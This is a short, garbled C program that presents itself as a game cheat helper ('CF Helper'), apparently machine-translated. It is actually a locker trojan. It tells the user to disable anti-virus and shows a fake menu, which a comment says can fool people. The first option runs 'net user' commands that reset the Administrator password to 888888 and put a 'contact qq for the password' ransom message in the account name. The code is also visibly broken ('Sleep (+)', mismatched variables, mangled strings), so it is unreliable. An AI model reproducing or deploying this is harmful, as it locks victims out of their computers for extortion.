# include <stdlib.h> # include <stdio.h> # include <windows.h> int main () { int i = 1; int A; System ("Title Lock Machine Program"); This is the program title, you can modify messageboxa (NULL, "Run CF Helper before you turn off anti-virus software!", "Warm Tip", MB_OK);//Popup window. can modify if (i! = 0) { printf ("program is running, do not close program!!\n"); printf ("\t\t" Please select 1 or 2 to turn on and off assist!) \ n ");//These people casually change, can be fooled others printf (" \ n "); printf ("1. Turn on the lock machine \ n"); printf ("\ n"); printf ("2. Turn off the lock machine \ n"); Sleep (+); } scanf_s ("%d", &a); Switch (a) {case 1:printf ("\a"); printf ("Secondary open successfully, the game automatically takes effect after login.") \ n "); System ("NET user administrator/fullname: Want to know the password to contact qq:xxxxxxxxx"); System ("NET User Administrator 888888"); break; Case 2:printf ("Secondary open Failed"); break; } }
